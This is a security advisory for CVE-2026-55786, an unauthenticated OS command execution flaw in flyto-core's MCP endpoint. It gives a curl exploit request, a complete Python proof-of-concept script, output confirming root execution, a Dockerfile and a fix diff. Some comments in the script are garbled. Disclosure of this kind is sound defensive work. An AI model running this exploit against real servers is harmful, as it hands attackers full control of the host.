CVE-2026-55786

Description

## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0, "execution_time_ms": 4.84 } }, "isError": false } } ``` The `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`. **Network-accessible variant:** If the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network. **Recommended remediation:** ```diff --- a/src/core/api/routes/mcp.py +++ b/src/core/api/routes/mcp.py -from fastapi import APIRouter, Request +from fastapi import APIRouter, Depends, Request from fastapi.responses import JSONResponse, Response from core.mcp_handler import handle_jsonrpc_request +from core.api.security import require_auth, module_filter -@router.post("") +@router.post("", dependencies=[Depends(require_auth)]) async def mcp_post(request: Request): result = await handle_jsonrpc_request(item, browser_sessions) + result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter) -@router.delete("") +@router.delete("", dependencies=[Depends(require_auth)]) async def mcp_delete(request: Request): ``` ```diff --- a/src/core/api/security.py +++ b/src/core/api/security.py -_DEFAULT_DENYLIST = ["shell.*", "process.*"] +_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"] ``` ### Impact This is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible. Affected parties include: - **Developers and local users** running `flyto serve` on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls — the attack surface becomes the entire network. Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim # lxml buildtext requiredtext whentext text RUN apt-get update && apt-get install -y --no-install-recommends \ gcc g++ libxml2-dev libxslt1-dev \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # local repo copy source (build context: mcp_57_flytohub__flyto-core/) COPY repo/ /app/repo/ # flyto-core[api] install (fastapi + uvicorn contains) RUN pip install --no-cache-dir "/app/repo[api]" EXPOSE 8333 # container externalfrom accessibletext 0.0.0.0 binding CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module Target: flyto-core 2.26.2 Route: POST /mcp (no auth dependency — mcp.py:65) Sink: asyncio.create_subprocess_shell (execute_shell.py:163) CWE: CWE-306 Missing Authentication for Critical Function Usage: python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id] """ import sys import time import json import argparse import urllib.request import urllib.error def wait_for_server(base_url: str, max_wait: int = 45) -> bool: """servertext readytext until /health text.""" for i in range(max_wait): try: with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp: if resp.status == 200: print(f"[+] server is ready ({i}s textand)") return True except Exception: pass time.sleep(1) if i % 5 == 4: print(f"[*] wait in progress... ({i+1}s)") return False def send_exploit(base_url: str, command: str) -> dict: """without authentication POST /mcptext arbitrary command execute request.""" payload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": { "command": command, "timeout": 10 } } } } data = json.dumps(payload).encode("utf-8") req = urllib.request.Request( f"{base_url}/mcp", data=data, headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=20) as resp: body = resp.read().decode("utf-8") return json.loads(body) def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP") parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=8333) parser.add_argument("--command", default="id", help="OS command to execute (default: id)") args = parser.parse_args() base_url = f"http://{args.host}:{args.port}" print("=" * 60) print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module") print(f" Target : {base_url}/mcp") print(f" Command : {args.command}") print("=" * 60) print() # 1. wait for server readiness print("[*] waiting for server startup in progress...") if not wait_for_server(base_url): print("[-] FAIL: servertext whenbetween within not respond not") sys.exit(1) # 2. without authentication exploit send request print(f"\n[*] POST {base_url}/mcp — without an Authorization header send") try: result = send_exploit(base_url, args.command) except urllib.error.HTTPError as e: body = e.read().decode("utf-8", errors="replace") print(f"[-] HTTP {e.code}: {body}") print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)") sys.exit(1) except Exception as e: print(f"[-] text error: {e}") sys.exit(1) # 3. response parse print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n") # result.result.structuredContent.data.stdout try: structured = result["result"]["structuredContent"] data = structured["data"] stdout = data.get("stdout", "") stderr = data.get("stderr", "") exit_code = data.get("exit_code", -1) except (KeyError, TypeError) as e: print(f"[-] FAIL: expected response structure text — {e}") print(f" result keys: {list(result.get('result', {}).keys())}") sys.exit(1) print(f"[*] exit_code = {exit_code}") print(f"[*] stdout = {stdout!r}") print(f"[*] stderr = {stderr!r}") print() # 4. success verdict: `id` command resulttext uid= contains whether if "uid=" in stdout: print("[+] ============================================================") print("[+] PASS: without authentication text OS command execution check!") print(f"[+] command output: {stdout.strip()}") print("[+] ============================================================") sys.exit(0) else: print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different") sys.exit(1) if __name__ == "__main__": main() ```